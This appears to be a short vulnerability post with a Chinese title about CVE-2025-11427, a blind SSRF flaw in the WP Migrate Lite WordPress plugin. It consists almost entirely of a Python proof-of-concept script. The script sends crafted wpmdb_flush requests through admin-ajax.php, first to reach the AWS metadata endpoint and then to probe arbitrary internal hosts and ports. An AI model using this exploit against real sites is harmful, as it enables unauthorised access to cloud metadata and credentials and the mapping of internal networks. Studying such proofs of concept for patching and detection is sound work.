CVE-2025-11427: WP Migrate Lite插件Blind SSRF漏洞

import requests import sys # CVE-2025-11427 PoC - Blind SSRF in WP Migrate Lite # Target: WordPress site with WP Migrate Lite plugin <= 2.7.6 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-11427 Attempts to make a request to AWS metadata service """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable parameters for wpmdb_flush action data = { 'action': 'wpmdb_flush', 'url': 'http://169.254.169.254/latest/meta-data/', 'verify_ssl': 0 } try: print(f"[*] Testing target: {target_url}") print(f"[*] Sending malicious request to {ajax_url}") response = requests.post(ajax_url, data=data, timeout=10, verify=False) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for signs of successful SSRF if response.status_code == 200 or 'ami-id' in response.text: print("[!] VULNERABLE - Server may be making arbitrary requests") return True else: print("[*] Target may be patched or not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_ssrf(target_url, internal_host, internal_port=80): """ Exploit SSRF to probe internal services """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Target internal service target = f"http://{internal_host}:{internal_port}" data = { 'action': 'wpmdb_flush', 'url': target, 'verify_ssl': 0 } print(f"[*] Probing internal service: {target}") try: response = requests.post(ajax_url, data=data, timeout=5, verify=False) print(f"[+] Internal service responded with status: {response.status_code}") return True except requests.exceptions.Timeout: print("[*] Request timed out - service may be down or filtered") return False except: print("[*] Could not reach internal service") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11427.py <target_url>") print("Example: python cve-2025-11427.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)